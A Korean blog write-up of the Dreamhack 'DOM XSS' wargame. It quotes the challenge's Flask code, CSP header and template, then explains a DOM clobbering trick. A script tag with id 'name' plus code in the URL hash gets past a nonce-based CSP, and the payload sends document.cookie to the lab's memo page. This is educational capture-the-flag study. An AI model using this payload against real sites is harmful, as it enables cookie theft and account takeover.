본문 바로가기

웹해킹

드림핵 DOM XSS 롸업

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        name = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
 
@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

자주 보던 vuln, flag, memo 페이지가 있다.

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response

CSP도 적용되고 있다.

 

flag페이지에서 입력값이 2개가 되었는데 param말고 name이라는 변수도 있다.

def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)

check_xss에서도 vuln 페이지로 name도 같이 전달한다.

{% extends "base.html" %}
{% block title %}Index{% endblock %}

{% block head %}
  {{ super() }}
  <style type="text/css">
    .important { color: #336699; }
  </style>
{% endblock %}

{% block content %}

  <script nonce={{ nonce }}>
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>
  {{ param | safe }}
  <pre id="name"></pre>
{% endblock %}

vuln.html에서 확인해보면 param이 <pre id="name"></pre>보다 위에 있기 때문에 

DOM clobbering이 가능해보인다.

 

<script id="name"></script>

param에는 id가 name인 script 태그를 넣고 

location.href='/memo?memo='+document.cookie;

그 안에 실행시킬 코드를 넣어주면 된다.

 

이렇게 memo 페이지에 flag를 출력시킬 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 blind sql injection advanced 롸업  (0) 2023.12.02
SQL Injection-1  (0) 2023.11.30
드림핵 XS-Search 롸업  (0) 2023.11.26
DOM & Javascript  (0) 2023.11.26
드림핵 Relative Path Overwrite Advanced 롸업  (0) 2023.11.26